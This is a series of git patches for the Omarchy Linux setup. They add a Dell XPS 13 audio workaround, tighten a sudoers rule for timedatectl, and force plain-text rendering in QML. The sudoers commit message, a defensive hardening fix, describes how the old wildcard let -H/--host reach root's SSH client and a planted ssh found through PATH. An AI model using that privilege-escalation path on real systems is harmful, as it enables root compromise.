product name and SKU 0E53, because the override forces a quirk value rather than merging into one, and a machine that gets it wrong loses whatever quirk the kernel would have chosen for itself. Pacman registers a package even when its post_install scriptlet fails, so the leaf calls dell-xps13-sidecar-amps-apply itself instead of trusting the install to have applied: a failed cleanup or boot-image rebuild has to reach the caller rather than hide behind a package pacman considers installed. That is also why the migration marks reboot-required only after the apply succeeds — a migration that exits non-zero keeps no completion marker and retries the apply on the next run, even though pacman already has the package. The leaf runs after intel/ptl-kernel.sh rather than beside the other Dell leaf at the top of install/hardware/all.sh, so its boot-image rebuild sees the Panther Lake kernel that step swaps in rather than the stock one it removes. Co-authored-by: Codex XHigh --- bin/omarchy-hw-dell-xps13-sidecar-amps | 8 ++ install/hardware/all.sh | 4 + install/hardware/dell-xps13-sidecar-amps.sh | 10 ++ install/omarchy-other.packages | 1 + migrations/1787666837.sh | 6 + test/shell.d/xps13-sidecar-amps-test.sh | 147 ++++++++++++++++++++ 6 files changed, 176 insertions(+) create mode 100755 bin/omarchy-hw-dell-xps13-sidecar-amps create mode 100644 install/hardware/dell-xps13-sidecar-amps.sh create mode 100644 migrations/1787666837.sh create mode 100755 test/shell.d/xps13-sidecar-amps-test.sh diff --git a/bin/omarchy-hw-dell-xps13-sidecar-amps b/bin/omarchy-hw-dell-xps13-sidecar-amps new file mode 100755 index 00000000..ecc206fa --- /dev/null +++ b/bin/omarchy-hw-dell-xps13-sidecar-amps @@ -0,0 +1,8 @@ +#!/bin/bash + +# omarchy:summary=Match the Dell XPS 13 DX13260 that requires the sidecar amplifier workaround. + +product_sku="${OMARCHY_DMI_PRODUCT_SKU:-/sys/class/dmi/id/product_sku}" + +omarchy-hw-match "DX13260" && + grep -qix "0E53" "$product_sku" 2>/dev/null diff --git a/install/hardware/all.sh b/install/hardware/all.sh index 6adcff9c..9b54d1c0 100644 --- a/install/hardware/all.sh +++ b/install/hardware/all.sh @@ -25,6 +25,10 @@ run_logged "$OMARCHY_INSTALL/hardware/intel/fred.sh" run_logged "$OMARCHY_INSTALL/hardware/intel/fix-wifi7-eht.sh" run_logged "$OMARCHY_INSTALL/hardware/intel/sof-firmware.sh" +# Rebuilds the boot image, so it has to follow the Panther Lake kernel swap +# above rather than sit with the other Dell leaf at the top of this file. +run_logged "$OMARCHY_INSTALL/hardware/dell-xps13-sidecar-amps.sh" + run_logged "$OMARCHY_INSTALL/hardware/asus/fix-asus-ptl-display-backlight.sh" run_logged "$OMARCHY_INSTALL/hardware/asus/fix-asus-ptl-b9406-display.sh" run_logged "$OMARCHY_INSTALL/hardware/asus/fix-asus-ptl-b9406-touchpad.sh" diff --git a/install/hardware/dell-xps13-sidecar-amps.sh b/install/hardware/dell-xps13-sidecar-amps.sh new file mode 100644 index 00000000..5682b595 --- /dev/null +++ b/install/hardware/dell-xps13-sidecar-amps.sh @@ -0,0 +1,10 @@ +# Enable the temporary sidecar amplifier workaround on the exact Dell XPS 13 model that needs it. +# +# Pacman registers a package even when its post_install scriptlet fails, so the +# apply command runs explicitly here: a failed cleanup or boot-image rebuild has +# to reach the caller rather than hide behind a successfully registered package. + +if omarchy-hw-dell-xps13-sidecar-amps; then + omarchy-pkg-add dell-xps13-sidecar-amps && + sudo dell-xps13-sidecar-amps-apply +fi diff --git a/install/omarchy-other.packages b/install/omarchy-other.packages index 02ac645e..e5d56d56 100644 --- a/install/omarchy-other.packages +++ b/install/omarchy-other.packages @@ -61,6 +61,7 @@ linux-firmware-marvell # Dell laptop support packages dell-xps-touchpad-haptics +dell-xps13-sidecar-amps # Speaker tunings (LV2 limiter every tuning ends in) lsp-plugins-lv2 diff --git a/migrations/1787666837.sh b/migrations/1787666837.sh new file mode 100644 index 00000000..33c5d9dc --- /dev/null +++ b/migrations/1787666837.sh @@ -0,0 +1,6 @@ +echo "Enable Dell XPS 13 sidecar speaker amplifiers" + +if omarchy-hw-dell-xps13-sidecar-amps; then + source "$OMARCHY_PATH/install/hardware/dell-xps13-sidecar-amps.sh" + omarchy-state set reboot-required +fi diff --git a/test/shell.d/xps13-sidecar-amps-test.sh b/test/shell.d/xps13-sidecar-amps-test.sh new file mode 100755 index 00000000..d82498f9 --- /dev/null +++ b/test/shell.d/xps13-sidecar-amps-test.sh @@ -0,0 +1,147 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +detector="$ROOT/bin/omarchy-hw-dell-xps13-sidecar-amps" +leaf="$ROOT/install/hardware/dell-xps13-sidecar-amps.sh" +all="$ROOT/install/hardware/all.sh" +migration=$(grep -l "dell-xps13-sidecar-amps" "$ROOT"/migrations/*.sh | head -1) + +grep -q 'run_logged .*hardware/dell-xps13-sidecar-amps.sh' "$all" || + fail "the sidecar amplifier workaround runs during hardware setup" +pass "the sidecar amplifier workaround runs during hardware setup" + +# The apply step rebuilds the boot image, so it has to see the Panther Lake +# kernel that ptl-kernel.sh swaps in rather than the stock one it replaces. +ptl_line=$(grep -n 'hardware/intel/ptl-kernel.sh' "$all" | cut -d: -f1) +amps_line=$(grep -n 'hardware/dell-xps13-sidecar-amps.sh' "$all" | cut -d: -f1) +((ptl_line < amps_line)) || + fail "the sidecar amplifier workaround runs after the Panther Lake kernel swap" +pass "the sidecar amplifier workaround runs after the Panther Lake kernel swap" + +[[ -n $migration ]] || fail "a migration enables the workaround on existing installs" +pass "a migration enables the workaround on existing installs" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT +mkdir -p "$test_tmp/bin" + +cat >"$test_tmp/bin/omarchy-hw-match" <<'SH' +#!/bin/bash +[[ ${TEST_PRODUCT_NAME:-} == *"$1"* ]] +SH + +cat >"$test_tmp/bin/omarchy-pkg-add" <<'SH' +#!/bin/bash +printf 'pkg-add %s\n' "$*" >>"$CALL_LOG" +exit "${TEST_PKG_ADD_STATUS:-0}" +SH + +cat >"$test_tmp/bin/sudo" <<'SH' +#!/bin/bash +exec "$@" +SH + +cat >"$test_tmp/bin/dell-xps13-sidecar-amps-apply" <<'SH' +#!/bin/bash +printf 'apply\n' >>"$CALL_LOG" +exit "${TEST_APPLY_STATUS:-0}" +SH + +cat >"$test_tmp/bin/omarchy-state" <<'SH' +#!/bin/bash +printf 'state %s\n' "$*" >>"$CALL_LOG" +SH + +chmod +x "$test_tmp/bin"/* + +sku_file="$test_tmp/product_sku" +call_log="$test_tmp/calls.log" + +run_detector() { + printf '%s\n' "${2-0E53}" >"$sku_file" + PATH="$test_tmp/bin:$PATH" \ + TEST_PRODUCT_NAME="${1-XPS 13 DX13260}" \ + OMARCHY_DMI_PRODUCT_SKU="${3-$sku_file}" \ + bash "$detector" +} + +run_detector || fail "the detector matches the DX13260 with SKU 0E53" +pass "the detector matches the DX13260 with SKU 0E53" + +run_detector "XPS 13 DX13261" && fail "the detector rejects another model" +pass "the detector rejects another model" + +run_detector "XPS 13 DX13260" "0E54" && fail "the detector rejects another SKU" +pass "the detector rejects another SKU" + +# An exact match must not be satisfied by a SKU that merely contains it. +run_detector "XPS 13 DX13260" "0E530" && fail "the detector rejects a longer SKU" +pass "the detector rejects a longer SKU" + +run_detector "XPS 13 DX13260" "0E53" "$test_tmp/absent" && + fail "the detector fails closed when the SKU attribute is missing" +pass "the detector fails closed when the SKU attribute is missing" + +# Sourced the way run_logged runs it. +run_leaf() { + : >"$call_log" + printf '0E53\n' >"$sku_file" + PATH="$test_tmp/bin:$ROOT/bin:$PATH" \ + CALL_LOG="$call_log" \ + TEST_PRODUCT_NAME="${1-XPS 13 DX13260}" \ + TEST_PKG_ADD_STATUS="${2:-0}" \ + TEST_APPLY_STATUS="${3:-0}" \ + OMARCHY_DMI_PRODUCT_SKU="$sku_file" \ + bash -c 'source "$1"' bash "$leaf" +} + +run_leaf || fail "the leaf installs and applies on the target machine" +grep -q 'pkg-add dell-xps13-sidecar-amps' "$call_log" || + fail "the leaf installs the package on the target machine" +grep -q '^apply$' "$call_log" || + fail "the leaf applies the workaround on the target machine" +pass "the leaf installs and applies on the target machine" + +run_leaf "ThinkPad X1" || fail "the leaf no-ops on other hardware" +[[ -s $call_log ]] && fail "the leaf no-ops on other hardware" +pass "the leaf no-ops on other hardware" + +# Pacman registers a package even when its scriptlet fails, so a failing apply +# has to surface rather than be swallowed by a successful install. +run_leaf "XPS 13 DX13260" 0 1 && fail "a failing apply fails the leaf" +pass "a failing apply fails the leaf" + +run_leaf "XPS 13 DX13260" 1 && fail "a failing package install fails the leaf" +grep -q '^apply$' "$call_log" && fail "a failing package install skips the apply" +pass "a failing package install fails the leaf without applying" + +# The migration runner uses bash -euo pipefail and only records the migration +# when it exits clean, so a failed apply has to leave reboot-required unset. +run_migration() { + : >"$call_log" + printf '0E53\n' >"$sku_file" + PATH="$test_tmp/bin:$ROOT/bin:$PATH" \ + CALL_LOG="$call_log" \ + OMARCHY_PATH="$ROOT" \ + TEST_PRODUCT_NAME="${1-XPS 13 DX13260}" \ + TEST_APPLY_STATUS="${2:-0}" \ + OMARCHY_DMI_PRODUCT_SKU="$sku_file" \ + bash -euo pipefail "$migration" >/dev/null +} + +run_migration || fail "the migration applies the workaround and asks for a reboot" +grep -q 'state set reboot-required' "$call_log" || + fail "the migration applies the workaround and asks for a reboot" +pass "the migration applies the workaround and asks for a reboot" + +run_migration "XPS 13 DX13260" 1 && fail "a failing apply leaves the migration pending" +grep -q 'state set reboot-required' "$call_log" && + fail "a failing apply does not mark reboot-required" +pass "a failing apply leaves the migration pending without marking reboot-required" + +run_migration "ThinkPad X1" || fail "the migration no-ops on other hardware" +[[ -s $call_log ]] && fail "the migration no-ops on other hardware" +pass "the migration no-ops on other hardware" From 0ae1694830b6bd9511042fe1b89a0062d8c083cb Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Tue, 25 Aug 2026 22:30:09 +0200 Subject: [PATCH 067/336] Constrain the tzupdate sudoers rule to a single timezone argument (#8194) The wildcard granted passwordless root for timedatectl set-timezone plus any trailing arguments, so -H/--host and -M/--machine reached the SSH and machine transports as root. Systemd 261 guards argv injection into ssh, but -H still drives root's SSH client at an attacker-chosen host, and the transport resolves its helper through PATH; only Defaults secure_path stands between that and a planted ssh running as root. Match the argument with an anchored POSIX ERE that admits exactly one timezone token (no whitespace, no leading-dash segment, no traversal component), so no second argument and no option can ever match. The sole caller, omarchy-menu-timezone, passes one list-timezones value and is unaffected. Co-authored-by: Claude Opus 4.8 Co-authored-by: Codex XHigh --- etc/sudoers.d/omarchy-tzupdate | 2 +- test/shell.d/timezone-test.sh | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/etc/sudoers.d/omarchy-tzupdate b/etc/sudoers.d/omarchy-tzupdate index d35adb82..98b30771 100644 --- a/etc/sudoers.d/omarchy-tzupdate +++ b/etc/sudoers.d/omarchy-tzupdate @@ -1 +1 @@ -%wheel ALL=(root) NOPASSWD: /usr/bin/timedatectl set-timezone * +%wheel ALL=(root) NOPASSWD: /usr/bin/timedatectl ^set-timezone [A-Za-z0-9_+][A-Za-z0-9_+.-]*(/[A-Za-z0-9_+][A-Za-z0-9_+.-]*)*$ diff --git a/test/shell.d/timezone-test.sh b/test/shell.d/timezone-test.sh index c1880a14..dc4a0263 100644 --- a/test/shell.d/timezone-test.sh +++ b/test/shell.d/timezone-test.sh @@ -7,9 +7,12 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" timezone_menu="$ROOT/bin/omarchy-menu-timezone" sudoers_file="$ROOT/etc/sudoers.d/omarchy-tzupdate" -grep -F '%wheel ALL=(root) NOPASSWD: /usr/bin/timedatectl set-timezone *' "$sudoers_file" >/dev/null || +grep -F '%wheel ALL=(root) NOPASSWD: /usr/bin/timedatectl ^set-timezone [A-Za-z0-9_+][A-Za-z0-9_+.-]*(/[A-Za-z0-9_+][A-Za-z0-9_+.-]*)*$' "$sudoers_file" >/dev/null || fail "timezone sudoers rule allows passwordless timedatectl timezone changes" +! grep -F 'set-timezone *' "$sudoers_file" >/dev/null || + fail "timezone sudoers rule uses a bare wildcard that admits extra arguments like -H and -M" + ! grep -F 'tzupdate' "$sudoers_file" >/dev/null || fail "timezone sudoers rule does not grant passwordless tzupdate" From 3af7675a10fdfc5a49789ea4723e454aac17704b Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Wed, 26 Aug 2026 16:14:51 +0200 Subject: [PATCH 068/336] Require `textFormat` declaration for all `Text` elements. --- shell/Ui/Button.qml | 3 + shell/Ui/ConfirmDialog.qml | 2 + shell/Ui/Dropdown.qml | 3 + shell/Ui/MultiSelect.qml | 6 + shell/Ui/NumberField.qml | 1 + shell/Ui/OpticalGlyph.qml | 1 + shell/Ui/PanelActionButton.qml | 1 + shell/Ui/PanelHero.qml | 3 + shell/Ui/PanelSectionHeader.qml | 4 + shell/Ui/PanelToolTip.qml | 1 + shell/Ui/SearchableDropdown.qml | 5 + shell/Ui/SpeedTestOverlay.qml | 5 + shell/Ui/Toggle.qml | 2 + shell/Ui/WidgetButton.qml | 1 + shell/plugins/agents/Panel.qml | 12 ++ shell/plugins/bar/Bar.qml | 1 + shell/plugins/bar/widgets/ActiveWindow.qml | 1 + shell/plugins/bar/widgets/Tray.qml | 4 + shell/plugins/clipboard/Clipboard.qml | 4 + shell/plugins/dev-gallery/GalleryPanel.qml | 12 ++ shell/plugins/emojis/Emojis.qml | 3 + shell/plugins/image-picker/ImagePicker.qml | 2 + shell/plugins/lock/LockView.qml | 1 + shell/plugins/menu/Menu.qml | 7 + .../notifications/NotificationLogic.js | 28 +++- .../components/NotificationCard.qml | 7 + shell/plugins/osd/Osd.qml | 2 + shell/plugins/panels/audio/Panel.qml | 11 ++ shell/plugins/panels/bluetooth/Panel.qml | 6 + shell/plugins/panels/clock/Panel.qml | 8 + shell/plugins/panels/dropbox/Panel.qml | 6 + shell/plugins/panels/monitor/Panel.qml | 7 + shell/plugins/panels/network/Panel.qml | 8 + shell/plugins/panels/power/Panel.qml | 3 + shell/plugins/panels/tailscale/Panel.qml | 10 ++ shell/plugins/panels/weather/Panel.qml | 14 ++ shell/plugins/panels/wifiqr/Panel.qml | 3 + shell/plugins/polkit/PolkitAgent.qml | 2 + shell/plugins/reminders/ReminderFlow.qml | 1 + shell/plugins/services/media/BarWidget.qml | 8 + test/shell.d/notifications-test.sh | 34 +++++ test/shell.d/qml-text-format-test.sh | 144 ++++++++++++++++++ 42 files changed, 386 insertions(+), 1 deletion(-) create mode 100755 test/shell.d/qml-text-format-test.sh diff --git a/shell/Ui/Button.qml b/shell/Ui/Button.qml index 2c093b4b..2b84577a 100644 --- a/shell/Ui/Button.qml +++ b/shell/Ui/Button.qml @@ -138,6 +138,7 @@ BorderSurface { radius: 0 } contentItem: Text { + textFormat: Text.PlainText text: root.tooltipText color: root.tooltipForeground font.family: root.fontFamily @@ -158,6 +159,7 @@ BorderSurface { spacing: Style.spacing.controlGap Text { + textFormat: Text.PlainText visible: root.iconText !== "" text: root.iconText color: root.selected ? root._selectedColor : root.foreground @@ -177,6 +179,7 @@ BorderSurface { } Text { + textFormat: Text.PlainText visible: root.text !== "" text: root.text color: root.selected ? root._selectedColor : root.foreground diff --git a/shell/Ui/ConfirmDialog.qml b/shell/Ui/ConfirmDialog.qml index ed4f8c98..bc108d97 100644 --- a/shell/Ui/ConfirmDialog.qml +++ b/shell/Ui/ConfirmDialog.qml @@ -69,6 +69,7 @@ Item { Text { id: messageText + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.top: parent.top @@ -105,6 +106,7 @@ Item { radius: 0 Text { + textFormat: Text.PlainText anchors.centerIn: parent text: modelData color: destructive ? (selected ? Color.urgent : root.foreground) : (selected ? root.selectedText : root.foreground) diff --git a/shell/Ui/Dropdown.qml b/shell/Ui/Dropdown.qml index 214a7fe4..58386c9b 100644 --- a/shell/Ui/Dropdown.qml +++ b/shell/Ui/Dropdown.qml @@ -71,6 +71,7 @@ Item { spacing: Style.spacing.labelGap Text { + textFormat: Text.PlainText visible: root.showLabel && root.label !== "" text: root.label color: Qt.darker(root.foreground, 1.4) @@ -110,6 +111,7 @@ Item { } Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: chevron.left anchors.verticalCenter: parent.verticalCenter @@ -214,6 +216,7 @@ Item { : "transparent" Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter diff --git a/shell/Ui/MultiSelect.qml b/shell/Ui/MultiSelect.qml index f759b66d..85705779 100644 --- a/shell/Ui/MultiSelect.qml +++ b/shell/Ui/MultiSelect.qml @@ -259,6 +259,7 @@ Item { spacing: Style.spacing.labelGap Text { + textFormat: Text.PlainText visible: root.showLabel && root.label !== "" text: root.label color: Qt.darker(root.foreground, 1.4) @@ -298,6 +299,7 @@ Item { } Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: chevron.left anchors.verticalCenter: parent.verticalCenter @@ -451,6 +453,7 @@ Item { : Border.controlSpec("normal", root.foreground, root.accent) Text { + textFormat: Text.PlainText anchors.centerIn: parent text: root.loadingOptions ? "󰦖" : "󰑐" color: root.foreground @@ -486,6 +489,7 @@ Item { height: popup.height - searchHeader.height - Style.spacing.xxs - 1 Text { + textFormat: Text.PlainText anchors.centerIn: parent visible: resultList.count === 0 text: root.loadingOptions ? "Loading…" : (root.optionsError !== "" ? root.optionsError : root.emptyText) @@ -581,6 +585,7 @@ Item { spacing: Style.spacing.xxs Text { + textFormat: Text.PlainText text: modelData.label color: index === resultList.currentIndex ? Style.hoverStateColor(root.foreground, root.accent) : root.foreground font.family: root.fontFamily @@ -589,6 +594,7 @@ Item { width: parent.width } Text { + textFormat: Text.PlainText visible: text !== "" text: modelData.description color: Qt.darker(root.foreground, 1.5) diff --git a/shell/Ui/NumberField.qml b/shell/Ui/NumberField.qml index 24b70f5b..985c9f7e 100644 --- a/shell/Ui/NumberField.qml +++ b/shell/Ui/NumberField.qml @@ -25,6 +25,7 @@ Column { spacing: Style.spacing.md Text { + textFormat: Text.PlainText visible: root.label !== "" text: root.label color: Qt.darker(root.foreground, 1.4) diff --git a/shell/Ui/OpticalGlyph.qml b/shell/Ui/OpticalGlyph.qml index d446a52c..a8881d49 100644 --- a/shell/Ui/OpticalGlyph.qml +++ b/shell/Ui/OpticalGlyph.qml @@ -25,6 +25,7 @@ Item { Text { id: glyph + textFormat: Text.PlainText // Keep the shared line box and baseline intact. Correcting only the // horizontal painted bounds avoids per-glyph vertical drift. anchors.centerIn: parent diff --git a/shell/Ui/PanelActionButton.qml b/shell/Ui/PanelActionButton.qml index 8a1b10bc..05f7d6be 100644 --- a/shell/Ui/PanelActionButton.qml +++ b/shell/Ui/PanelActionButton.qml @@ -69,6 +69,7 @@ BorderSurface { Behavior on color { ColorAnimation { duration: 60 } } Text { + textFormat: Text.PlainText anchors.centerIn: parent text: root.iconText color: root.enabled diff --git a/shell/Ui/PanelHero.qml b/shell/Ui/PanelHero.qml index 7d663f37..4d13cf14 100644 --- a/shell/Ui/PanelHero.qml +++ b/shell/Ui/PanelHero.qml @@ -48,6 +48,7 @@ Item { width: parent.width Text { + textFormat: Text.PlainText visible: root.title !== "" text: root.title width: Math.min(implicitWidth, Math.max(0, parent.width - (detailPill.visible ? detailPill.implicitWidth + Style.space(8) : 0))) @@ -75,6 +76,7 @@ Item { Text { id: detailText + textFormat: Text.PlainText anchors.centerIn: parent text: root.detail color: root.dim @@ -87,6 +89,7 @@ Item { Text { id: metaText + textFormat: Text.PlainText width: parent.width text: root.meta.toUpperCase() visible: text !== "" diff --git a/shell/Ui/PanelSectionHeader.qml b/shell/Ui/PanelSectionHeader.qml index 5559248e..f0d54fb9 100644 --- a/shell/Ui/PanelSectionHeader.qml +++ b/shell/Ui/PanelSectionHeader.qml @@ -11,6 +11,10 @@ Text { property string fontFamily: Style.font.family property real fontSize: Style.font.caption + // Callers bind `text` from outside this file, so the default has to be set + // here. AutoText would let a section title that happens to carry a device or + // network name promote itself to rich text. + textFormat: Text.PlainText color: Qt.darker(foreground, 1.4) font.family: fontFamily font.pixelSize: fontSize diff --git a/shell/Ui/PanelToolTip.qml b/shell/Ui/PanelToolTip.qml index 139b6cf0..90d3133a 100644 --- a/shell/Ui/PanelToolTip.qml +++ b/shell/Ui/PanelToolTip.qml @@ -36,6 +36,7 @@ ToolTip { } contentItem: Text { + textFormat: Text.PlainText text: root.text color: root.panelForeground font.family: root.fontFamily diff --git a/shell/Ui/SearchableDropdown.qml b/shell/Ui/SearchableDropdown.qml index 9cf0aa49..7728d86b 100644 --- a/shell/Ui/SearchableDropdown.qml +++ b/shell/Ui/SearchableDropdown.qml @@ -93,6 +93,7 @@ Item { spacing: Style.spacing.labelGap Text { + textFormat: Text.PlainText visible: root.showLabel && root.label !== "" text: root.label color: Qt.darker(root.foreground, 1.4) @@ -132,6 +133,7 @@ Item { } Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: chevron.left anchors.verticalCenter: parent.verticalCenter @@ -246,6 +248,7 @@ Item { height: popup.height - searchHeader.height - Style.spacing.xxs - 1 Text { + textFormat: Text.PlainText anchors.centerIn: parent visible: resultList.count === 0 text: root.emptyText @@ -313,6 +316,7 @@ Item { spacing: Style.spacing.xxs Text { + textFormat: Text.PlainText text: root.optionLabel(modelData) color: index === resultList.currentIndex ? Style.hoverStateColor(root.foreground, root.accent) : root.foreground font.family: root.fontFamily @@ -321,6 +325,7 @@ Item { width: parent.width } Text { + textFormat: Text.PlainText visible: text !== "" text: root.optionDescription(modelData) color: Qt.darker(root.foreground, 1.5) diff --git a/shell/Ui/SpeedTestOverlay.qml b/shell/Ui/SpeedTestOverlay.qml index 1216f348..a8f84c7b 100644 --- a/shell/Ui/SpeedTestOverlay.qml +++ b/shell/Ui/SpeedTestOverlay.qml @@ -130,6 +130,7 @@ PanelWindow { spacing: Style.space(16) Text { + textFormat: Text.PlainText visible: root.title !== "" text: root.title.toUpperCase() color: root.onScrimDim @@ -182,6 +183,7 @@ PanelWindow { } Text { + textFormat: Text.PlainText visible: root.failed text: root.error color: root.onScrimUrgent @@ -368,6 +370,7 @@ PanelWindow { spacing: 0 Text { + textFormat: Text.PlainText anchors.horizontalCenter: parent.horizontalCenter // Both branches go through the locale: a reading is a measurement, so // its separators follow the system's number conventions rather than the @@ -383,6 +386,7 @@ PanelWindow { } Text { + textFormat: Text.PlainText anchors.horizontalCenter: parent.horizontalCenter text: root.unit color: root.onScrimDim @@ -394,6 +398,7 @@ PanelWindow { // The 90° gap at the bottom of the scale is where a cluster prints its // unit; here it names the direction. Text { + textFormat: Text.PlainText anchors.horizontalCenter: parent.horizontalCenter anchors.bottom: parent.bottom text: dial.label diff --git a/shell/Ui/Toggle.qml b/shell/Ui/Toggle.qml index 26a5cf96..b861fec7 100644 --- a/shell/Ui/Toggle.qml +++ b/shell/Ui/Toggle.qml @@ -69,6 +69,7 @@ BorderSurface { anchors.verticalCenter: parent.verticalCenter Text { + textFormat: Text.PlainText text: root.label color: root.foreground font.family: root.fontFamily @@ -79,6 +80,7 @@ BorderSurface { } Text { + textFormat: Text.PlainText visible: root.description !== "" text: root.description color: Qt.darker(root.foreground, 1.5) diff --git a/shell/Ui/WidgetButton.qml b/shell/Ui/WidgetButton.qml index 02d843ab..87d18050 100644 --- a/shell/Ui/WidgetButton.qml +++ b/shell/Ui/WidgetButton.qml @@ -74,6 +74,7 @@ Item { Text { id: label + textFormat: Text.PlainText visible: root.labelVisible anchors.centerIn: parent text: root.text diff --git a/shell/plugins/agents/Panel.qml b/shell/plugins/agents/Panel.qml index 6637531a..f4ecdd9a 100644 --- a/shell/plugins/agents/Panel.qml +++ b/shell/plugins/agents/Panel.qml @@ -434,6 +434,7 @@ Panel { } Text { + textFormat: Text.PlainText anchors.centerIn: parent visible: heroMarkImage.status !== Image.Ready text: button.text @@ -504,6 +505,7 @@ Panel { Text { id: statusText + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -558,6 +560,7 @@ Panel { Text { id: balanceValue + textFormat: Text.PlainText text: root.balance ? root.formatMoney(root.balance.remaining, root.balance.currency) : "" color: root.balanceAlarming ? root.urgent : root.foreground font.family: root.fontFamily @@ -575,6 +578,7 @@ Panel { } Text { + textFormat: Text.PlainText visible: text !== "" width: parent.width text: root.balanceDetailText(root.balance) @@ -680,6 +684,7 @@ Panel { } Text { + textFormat: Text.PlainText visible: text !== "" width: parent.width topPadding: Style.space(2) @@ -710,6 +715,7 @@ Panel { Text { id: limitLabel + textFormat: Text.PlainText // A model-scoped window is titled after its model, and those names run // long enough to reach the percentage, so the title gives way first. text: limitRow.window ? limitRow.window.title : "" @@ -725,6 +731,7 @@ Panel { Text { id: limitValue + textFormat: Text.PlainText text: limitRow.window && limitRow.window.percent >= 0 ? Math.round(limitRow.window.percent * 100) + "%" : "—" @@ -744,6 +751,7 @@ Panel { Text { id: resetText + textFormat: Text.PlainText width: parent.width text: { var remainingMs = root.resetMsFor(limitRow.window) @@ -798,6 +806,7 @@ Panel { Text { id: dayLabel + textFormat: Text.PlainText text: root.dayLabel(dayRow.day ? dayRow.day.date : "", dayRow.today) color: dayRow.today ? root.foreground : root.dim font.family: root.fontFamily @@ -835,6 +844,7 @@ Panel { Text { id: dayValue + textFormat: Text.PlainText text: usage.formatTokenCount(dayRow.day ? Number(dayRow.day.messageCount || 0) : 0) color: dayRow.today ? root.foreground : root.dim font.family: root.fontFamily @@ -890,6 +900,7 @@ Panel { Text { id: modelName + textFormat: Text.PlainText text: modelRow.row ? modelRow.row.name : "" color: root.foreground font.family: root.fontFamily @@ -904,6 +915,7 @@ Panel { Text { id: modelTokens + textFormat: Text.PlainText text: modelRow.row ? usage.formatTokenCount(modelRow.row.total) : "" color: root.dim font.family: root.fontFamily diff --git a/shell/plugins/bar/Bar.qml b/shell/plugins/bar/Bar.qml index 5dcd205f..9e736b3f 100644 --- a/shell/plugins/bar/Bar.qml +++ b/shell/plugins/bar/Bar.qml @@ -1090,6 +1090,7 @@ Item { Text { id: tooltipLabel + textFormat: Text.PlainText anchors.centerIn: parent text: root.tooltipText color: Color.tooltip.text diff --git a/shell/plugins/bar/widgets/ActiveWindow.qml b/shell/plugins/bar/widgets/ActiveWindow.qml index 97ccce8d..ff7e83d8 100644 --- a/shell/plugins/bar/widgets/ActiveWindow.qml +++ b/shell/plugins/bar/widgets/ActiveWindow.qml @@ -29,6 +29,7 @@ BarWidget { Text { id: labelText + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter anchors.left: parent.left width: parent.width diff --git a/shell/plugins/bar/widgets/Tray.qml b/shell/plugins/bar/widgets/Tray.qml index d0d07f57..650358c1 100644 --- a/shell/plugins/bar/widgets/Tray.qml +++ b/shell/plugins/bar/widgets/Tray.qml @@ -467,6 +467,7 @@ BarWidget { } Text { + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter anchors.left: rowIcon.right anchors.leftMargin: Style.space(10) @@ -577,6 +578,7 @@ BarWidget { } Text { + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter anchors.left: parent.left anchors.leftMargin: Style.space(28) @@ -681,6 +683,7 @@ BarWidget { } Text { + textFormat: Text.PlainText visible: !menuRow.modelData.isSeparator && menuRow.modelData.buttonType !== QsMenuButtonType.None anchors.verticalCenter: parent.verticalCenter anchors.left: parent.left @@ -709,6 +712,7 @@ BarWidget { } Text { + textFormat: Text.PlainText visible: !menuRow.modelData.isSeparator anchors.verticalCenter: parent.verticalCenter anchors.left: parent.left diff --git a/shell/plugins/clipboard/Clipboard.qml b/shell/plugins/clipboard/Clipboard.qml index d819f949..da969e65 100644 --- a/shell/plugins/clipboard/Clipboard.qml +++ b/shell/plugins/clipboard/Clipboard.qml @@ -432,6 +432,7 @@ Item { color: "transparent" Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -500,6 +501,7 @@ Item { } Text { + textFormat: Text.PlainText width: parent.width - (parent.parent.previewImage.length > 0 ? parent.height + parent.spacing : 0) height: parent.height text: parent.parent.previewText @@ -546,6 +548,7 @@ Item { } Text { + textFormat: Text.PlainText visible: parent.activeRow && !parent.activeRow.previewImage anchors.fill: parent anchors.leftMargin: root.contentMargin @@ -593,6 +596,7 @@ Item { } Text { + textFormat: Text.PlainText text: root.history.length === 0 ? "Clipboard is empty" : "No matches for “" + root.filterText + "”" color: root.foreground opacity: 0.7 diff --git a/shell/plugins/dev-gallery/GalleryPanel.qml b/shell/plugins/dev-gallery/GalleryPanel.qml index 945b6252..680bdbef 100644 --- a/shell/plugins/dev-gallery/GalleryPanel.qml +++ b/shell/plugins/dev-gallery/GalleryPanel.qml @@ -519,12 +519,14 @@ Item { width: Style.space(140) spacing: Style.space(1) Text { + textFormat: Text.PlainText text: "Style.font." + modelData.key color: root.foreground font.family: root.fontFamily font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: modelData.size + " px" color: Qt.darker(root.foreground, 1.5) font.family: root.fontFamily @@ -534,6 +536,7 @@ Item { Text { id: sampleText + textFormat: Text.PlainText anchors.left: metaCol.right anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -574,6 +577,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.font.family color: root.foreground font.family: root.fontFamily @@ -587,6 +591,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.font.resolvedFamily color: root.foreground font.family: root.fontFamily @@ -600,6 +605,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.font.baseSize + " px" color: root.foreground font.family: root.fontFamily 